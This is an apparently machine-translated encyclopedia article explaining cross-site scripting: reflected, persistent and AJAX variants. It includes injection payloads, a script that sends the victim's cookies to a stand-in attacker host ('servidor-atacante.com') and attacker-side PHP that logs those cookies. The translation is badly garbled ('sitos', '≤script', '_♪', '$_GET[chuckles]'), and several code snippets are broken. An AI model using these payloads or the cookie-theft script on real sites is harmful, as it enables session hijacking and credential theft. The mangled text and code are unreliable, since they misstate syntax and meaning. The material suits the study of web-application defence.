Cross-site scripting

The sequence diagram of the attack of command sequences between sitos

A cross-site scripting or Cross-site scripting (XSS) is a type of vulnerability computer or security hole typical of Web applications, which can allow a third party to inject JavaScript code or another similar language (eg: VBScript) into web pages visited by the user. It can be avoided using measures such as CSP, policy of the same origin, etc.

It is possible to find a Cross-Site Scripting vulnerability in applications whose functions include presenting information in a web browser or other web page container. However, it is not limited to websites available on the Internet, as there may be local applications vulnerable to XSS, or even the browser itself.

Attack Mechanism

XSS is an attack vector that can be used to steal sensitive information, hijack user sessions, and compromise the browser, subjugating system integrity. XSS vulnerabilities have been around since the early days of the Web.

This situation is usually caused by not correctly validating the input data that is used in a certain application, or not sanitizing the output properly for its presentation as a web page.

This vulnerability can be present in the following ways:

• Directa (also called Persistent): this type of XSS commonly filtered, and consists of inserting dangerous HTML code into sites that allow it; including labels such as ≤script and ≤1⁄2frame.

• Indirecta (also called Reflected): this type of XSS consists of modifying values that the web application uses to pass variables between two pages, without using sessions and happens when there is a message or a route in the browser URL, in a cookie, or any other HTTP header (in some browsers and web applications, this could be extended to the DOM of the browser).

Indirect (reflected) XSS

Suppose a website has the following form:

http://www.example.com/home.asp?frame=menu.asp

and that when accessing, an HTML document will be created linking with a frame to menu.asp.

In this example, what would happen if a javascript code was put as the URL of the frame?

 javascript:while(1)alert("This message will come out indefinitely");

If this link is put by an attacker to a victim, a visitor will be able to see it and see that it is from the same domain, assuming that there can be nothing wrong and the result will be an infinite loop of messages.

An attacker would actually try to put in a script that steals the victim's cookies, so that they can then impersonate their session, or make the process automatic using the cURL library or something similar. In this way, upon receiving the cookie, the attacker could execute actions with the victim's permissions without even needing their password.

Another common use for these vulnerabilities is to achieve phishing. This means that the victim sees a site in the address bar, but is really in another. The victim enters his password and sends it to the attacker.

A page like the following:

 error.php?error=User%20Invalid

is probably vulnerable to indirect XSS, since if you write to the document "Invalid Username", this means that an attacker could insert HTML and JavaScript if they wanted to.

For example, a tag like <script> that executes javascript code, creates another session under another user, and sends the current session to the attacker.

To test XSS vulnerabilities in cookies, you can easily modify the content of a cookie, using the following script. It should only be placed in the address bar, and press 'Enter'.

javascript:void prompt("Introduces the cookie:",document.cookie).replace(/[^;]+/g,function(_♪document.cookie=_;

Direct XSS (persistent)

It works by locating weak points in the programming of HTML filters if they exist, to publish content (such as blogs, forums, etc.).

Normally the attacker will try to insert tags like <iframe>, or <script>, but in case of failure, the attacker may try to insert tags that are almost always allowed and their ability to execute code is little known. In this way the attacker could execute malicious code.

Examples: One possibility is to use attributes that allow code to be executed.

.BR STYLE="behavior: url(http://yoursite/xss.htc);"▪.DIV STYLE="background-image: url(javascript:alert('XSS'))"▪.IMG SRC=X ONERROR="alert(/XSS/)▪

AJAX

Using AJAX for XSS attacks is not as well known, but it is dangerous. It is based on using any type of XSS vulnerability to introduce an XMLHttp object and use it to send POST, GET content, without the user's knowledge.

This has been popularized by XSS worms that take it upon themselves to replicate via persistent XSS vulnerabilities (although the possibility of using mirrored XSS is possible).

The following example script gets the value of the cookies and would then send them to the attacker.

javascript:

var Cookies = document.cookie;var xhr = new XMLHttpRequest(); // Object Ajaxxhr.open('GET', 'www.servidor-atacante.com/cookies.php');xhr.Send('c= + Cookies);

PHP (attacker's server):

?$archivo = fopen('log2.htm','a');$cookie = $_GET[chuckles]'c'];$ip = getenv ('REMOTE_ADDR');$ = $HTTPREFERRER;$=date("j F, Y, g:i a");fwrite($archivo, '..htmlentities($cookie).'..htmlentities($));fwrite($archivo, '. .$ip. '. .$. " ");fclose($archivo);?